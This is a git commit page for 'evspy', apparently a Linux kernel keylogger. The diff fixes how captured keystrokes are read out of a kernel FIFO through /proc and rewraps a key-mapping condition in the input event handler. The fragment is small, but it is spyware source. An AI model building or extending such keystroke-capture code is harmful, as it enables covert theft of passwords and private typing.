diff options
author | Guillermo Ramos | 2011-11-01 21:58:08 +0100 |
---|---|---|
committer | Guillermo Ramos | 2011-11-01 21:58:08 +0100 |
commit | 20faeb55d16bdb78c5f85ec52737816d7d9aa629 (patch) | |
tree | c10155a8b41321173ebf9c7a6b91c88fc640ed6c | |
parent | 06aea3593215d0ed6f8e3c3113a14e2aaba81f6a (diff) | |
download | evspy-20faeb55d16bdb78c5f85ec52737816d7d9aa629.tar.gz |
NOW fixed read-from-proc bug
And 100% sure
-rw-r--r-- | evspy-core.c | 15 |
1 files changed, 8 insertions, 7 deletions
diff --git a/evspy-core.c b/evspy-core.c index 6acfd30..64f5960 100644 --- a/evspy-core.c +++ b/evspy-core.c @@ -47,19 +47,19 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count, *eof = 1; else strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n); - return n; #else return -EPERM; #endif } else { // copy fifo contents to the supplied buffer - n = offset + kfifo_out(&cbuffer, page+offset, - min((int)PAGE_SIZE, count)); + if (offset + count > PAGE_SIZE) + count = PAGE_SIZE - offset; - if (n == offset) - *eof = 1; + n = offset + kfifo_out(&cbuffer, page+offset, count); - return n; + if (kfifo_is_empty(&cbuffer)) + *eof = 1; } + return n; } /* @@ -160,7 +160,8 @@ static void evspy_event(struct input_handle *handle, unsigned int type, return; // Special/unknown keys (alt, ctrl, esc, shift, etc) - } else if (code >= sizeof(map) || (map[code] == '.' && likely(code != KEY_DOT))) { + } else if (code >= sizeof(map) || (map[code] == '.' && + likely(code != KEY_DOT))) { special_char(code, value); // "Immediate" keys (alphanumeric + some symbols) |